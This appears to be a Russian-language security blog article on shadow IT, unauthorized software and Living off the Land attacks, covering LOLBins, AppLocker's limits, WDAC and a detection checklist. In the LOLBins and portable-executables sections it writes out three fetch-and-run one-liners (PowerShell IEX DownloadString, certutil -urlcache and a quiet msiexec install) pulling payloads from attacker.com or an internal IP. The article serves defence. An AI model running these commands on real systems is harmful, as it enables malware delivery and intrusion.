Реагирование на несанкционированное ПО

Контроль программного обеспечения кажется административной задачей: реестры разрешённых программ, ежемесячные сканирования, формальное отключение Microsoft Store. На практике управление ПО, это грань между видимостью для службы безопасности и реальным использованием сотрудниками. Причём эта грань гораздо тоньше, чем принято думать.


Что такое теневое ПО и почему с ним не справляются

Существует укоренившийся стереотип: неавторизованное программное обеспечение, это случайный торрент-клиент или игра, поставленные сотрудником «для себя». Но ситуация куда сложнее. Спектр неучтённых технологий выходит далеко за банальную самодеятельность.

Теневое IT (Shadow IT) покрывает любые технологии, появляющиеся в инфраструктуре в обход IT-отдела. Это SaaS-сервисы, подключённые через корпоративную карту без согласования, браузерные расширения с доступом к приватным данным, интеграции между официальными инструментами через сторонние платформы, облачные хранилища для отправки рабочих файлов с личных устройств и так далее.

Исследования Gartner показывают, что на долю теневого IT приходится 30–40% IT-расходов крупных компаний. Более 40% работников применяют несанкционированные решения, а к 2027 году доля таких сотрудников может вырасти до 75%.

Проблема часто обусловлена не злыми намерениями, а несовершенством корпоративных процессов: утверждённые инструменты работают медленно или неудобны, а на внедрение альтернатив уходит неделя согласований. В итоге сотрудник пользуется личным Gmail для крупных вложений, менеджер выбирает Trello вместо формальной, но сложной системы задач. Каждый такой инструмент — потенциальная лазейка для атакующего, который может воспользоваться точкой входа, невидимой для IT-отдела.


Как неавторизованное ПО открывает вход в сеть

Неавторизованное ПО редко остаётся «безобидным». Вот три типовых сценария реализации угроз:

  • Программы удалённого доступа. Сотрудник ставит AnyDesk или TeamViewer, чтобы работать удалённо. Для удобства настраивает постоянный пароль, забывая о многофакторной аутентификации. IT-служба об этом не знает. Если атакующий получит учётные данные, для него уже существует открытый туннель – без контроля VPN и корпоративных политик.
  • Неофициальные установщики. Если официальная версия ПО недоступна, сотрудник скачивает установщик с сайта-подделки. Среди его компонентов может быть майнер, кейлоггер или RAT (агент удалённого администрирования). Всё работает, как ожидалось — а вредонос незаметен.
  • Браузерные расширения с избыточными правами. Такие расширения получают доступ ко всему контенту вкладок и буферу обмена: пароли, документы, переписка. Инвентаризация ПО такие расширения обычно не видит, особенно если они установлены не через официальный корпоративный каталог.

По данным Forbes Insights, 20% организаций сталкивались с инцидентами, связанными именно с теневым IT. Однако большинство компаний не в состоянии полностью оценить масштаб ущерба, вызванного неавторизованным ПО.


Атака без постороннего ПО: техника Living off the Land

Даже если организация внедрила строгий белый список ПО, настроила AppLocker, заблокировала Microsoft Store и не разрешает установку приложений извне, у атакующих всё равно остаются возможности.

Профессиональные злоумышленники используют тактику Living off the Land (LotL) — для атаки применяются легитимные исполняемые файлы и программы, уже находящиеся в системе. Все они подписаны Microsoft, необходимы самой Windows и присутствуют по умолчанию. Такая деятельность сложноотличима от обычной работы администратора.

Встроенные бинарники, доверенные по цифровой подписи или размещению в системной папке, становятся инструментами для загрузки, выполнения кода, организации каналов управления. Их применение уходит от детектирования традиционными средствами контроля приложений.

Проект LOLBAS ведёт открытый каталог подобных инструментов, фиксируя варианты злоупотреблений, параметры командной строки и примеры использования. По мере появления новых версий Windows список расширяется.


LOLBins: встроенные инструменты Windows как оружие

PowerShell: самый универсальный вектор

PowerShell присутствует во всех поддерживаемых версиях Windows и нужен для администрирования. Его редко блокируют полностью. Именно поэтому PowerShell чаще всего используется для атак: выполнение кода в памяти, загрузка файлов, эксфильтрация данных или контроль заражённой машины осуществляются легко.

Типовой приём: загрузка и исполнение кода напрямую в память без записи на диск. Это затрудняет обнаружение антивирусами.

IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

Всё происходит одной строкой — без создания файлов и следов в списке установленных приложений.

CertUtil: скачивание файлов под видом работы с сертификатами

CertUtil.exe — стандартный инструмент для администрирования сертификатов. Однако злоумышленник может использовать его как файловый загрузчик, потому что команда принимает внешние адреса без особых ограничений, а подпись Microsoft мешает простому выявлению такого поведения в логах.

certutil.exe -urlcache -split -f http://attacker.com/payload.exe payload.exe

Этот вызов маскируется под легитимную административную операцию, зачастую ускользая от стандартного мониторинга.

MSBuild: компилятор .NET как точка входа

MSBuild.exe компилирует проекты на базе .NET прямо из XML-файлов проекта. В такой XML легко внедрить произвольный C#-код, который будет выполнен в памяти.

AppLocker обычно разрешает запуск MSBuild «по пути поставки», что создаёт возможность для выполнения вредоносного кода внутри доверенного процесса — так не появляется новых дочерних процессов, не возбуждается событие для проверки в AppLocker.

Mshta, Regsvr32 и Rundll32: наследие скриптовой эпохи

Mshta.exe, Regsvr32.exe и Rundll32.exe присутствуют в системе с давних версий и используются для запуска HTA-приложений, загрузки скриптов и старта функций из DLL соответственно. Все они могут обходить стандартные ограничения по папкам и цифровым подписям, поскольку размещены в доверенных системных директориях.


AppLocker: где заканчивается его защита

AppLocker — рекомендованный инструмент контроля приложений для корпоративных Windows (начиная с Windows 7 Enterprise). Он умеет ограничивать запуск по пути, подписчику или хешу. Однако у этого подхода есть критические уязвимости:

  • Доверие по расположению: разрешение «всё из C:Windows*» фактически оставляет поле для злоупотреблений — большинство встроенных утилит Windows можно использовать в атаках.
  • Фокус на файлах и процессах: вредоносный код, исполняющийся только в памяти, не создаёт файлового артефакта, а значит, не попадает под контроль AppLocker.
  • Ограничение по типам файлов: если установлен сторонний интерпретатор (Python, Perl и т.п.), любой скрипт, запущенный через него, обходит AppLocker так же, как и через системные утилиты.

Без реализации контекстных и поведенческих правил, а также учёта новых сценариев угроз AppLocker создаёт иллюзию защищённости, а не реальную защиту.


Portable executables: угроза, которую не видит сканер

Portable-программы (не требующие установки) запускаются напрямую — зачастую с флешки или из временной папки пользователя. Они не записываются в реестр и не появляются в Program Files. Большинство систем инвентаризации ПО не фиксируют их вовсе, из-за чего злоумышленники предпочитают именно такой формат deliverable.

Сканер ПО ничего не найдёт, антивирус может сработать только на хорошо известные сигнатуры. Немного изменённый или свежесобранный вредонос часто проходит «под радаром».

Дополнительная проблема: msiexec может выполнять установку напрямую с HTTP-сервера, причём файл может даже называться как угодно, например, иметь расширение PNG:

msiexec /q /i http://192.168.100.3/tmp/cmd.png

В истории загрузок не появится ни одного .exe-файла. Такой способ делает стандартные механизмы реагирования бесполезными.

Эффективная мера: запрещать запуск исполняемых файлов из подозрительных директорий (%TEMP%, %APPDATA%, %USERPROFILE%Downloads, с USB-носителей) с помощью Attack Surface Reduction (ASR) в Microsoft Defender или WDAC.


Как обнаружить неавторизованное ПО

  • Инвентаризация через Software Inventory: решения Microsoft Defender for Endpoint, Intune и устройства класса UEM собирают сведения о программном обеспечении и сравнивают с белым списком. Этот подход не увидит portable-файлы, скрипты, браузерные плагины.
  • Анализ сетевого трафика: нетипичная активность (подключения к неизвестным доменам, несанкционированные облачные сервисы) часто свидетельствуют о работе неучтённого ПО. Современные NGFW и прокси с категоризацией позволяют автоматизировать выявление.
  • Мониторинг процессов через EDR: поведенческий анализ (а не сигнатуры) эффективен против LotL-атак. EDR фиксирует подозрительные вызовы PowerShell, CertUtil, WMIC — даже если сами утилиты разрешены политикой.
  • Блокировка исходящего трафика для LOLBins: запрет сетевых соединений для системных утилит через Windows Firewall не позволяет им скачивать вредонос, что усложняет атаку даже если обход периметра уже произошёл.

WDAC против AppLocker

Windows Defender Application Control (WDAC) становится новым стандартом контроля приложений, несмотря на то, что AppLocker по-прежнему проще для внедрения. WDAC использует виртуализационную безопасность (VBS) и аппаратную верификацию целостности кода (HyperVisor Code Integrity, HVCI). Эти функции доступны в Windows 10/11 и Server 2016+.

WDAC применяет политики на уровне ядра, не позволяя обойти защиту через инъекции в доверенные процессы или process hollowing. В отличие от AppLocker, WDAC контролирует даже косвенное исполнение кода.

Эффективная стратегия — применять базовые блокировки AppLocker и на наиболее критичные LOTL-инструменты (разработческие бинарники, скриптовые движки, сетевые утилиты) — отдельные правила WDAC.


Что проверить в своей организации

  • [ ] Есть ли актуальный белый список ПО с датой последнего обновления?
  • [ ] Включает ли инвентаризация portable-файлы, а не только установленные программы?
  • [ ] Настроен ли AppLocker или WDAC, или защита ограничена только антивирусом?
  • [ ] Включено ли логирование PowerShell (Module Logging, Script Block Logging)?
  • [x] Заблокированы ли исходящие соединения для MSBuild, CertUtil, Mshta, Regsvr32?
  • [ ] Есть ли утверждённая процедура исключений с анализом рисков и сроком действия?
  • [ ] Проверяются ли расширения браузера как часть инвентаризации ПО?
  • [ ] Настроены ли правила ASR для блокировки дочерних процессов из Office?
  • [ ] Ведётся ли мониторинг командных строк процессов в EDR или SIEM?
  • [ ] Ограничен ли запуск .exe из %TEMP% и %APPDATA%?

Регламент без техники не работает

Регламент можно прописать идеально — продумать роли, ввести KPI, расписать процедуру исключений. Но если нет технических средств контроля, документ описывает лишь желаемое состояние. Комплексный подход невозможен без экосистемы инструментов.

Практически требуется сочетать несколько уровней:

  • инвентаризация и актуальный белый список ПО,
  • ограничения запуска AppLocker или WDAC,
  • поведенческий мониторинг через EDR,
  • сетевые ограничения для инструментов подобия CertUtil, Mshta и других.

Такой многоуровневый подход не гарантирует 100% защиту, но существенно сужает поверхность атаки и облегчает выявление инцидентов.

Если обнаружено неавторизованное приложение, организация должна решить: запретить или проработать исключение. Исключение — не «разрешить навсегда», а зафиксировать риски, бизнес-обоснование, срок пересмотра. Без контроля и ревизии белый список постепенно теряет актуальность.


#кибербезопасность #информационнаябезопасность #инфобез #защитаданных #кибератака #безопасностьIT #хакеры #безопасностьвсети #киберугрозы #защитаотхакеров #безопасностьприложений #киберзащита #программирование #IT #технологии

Оставьте комментарий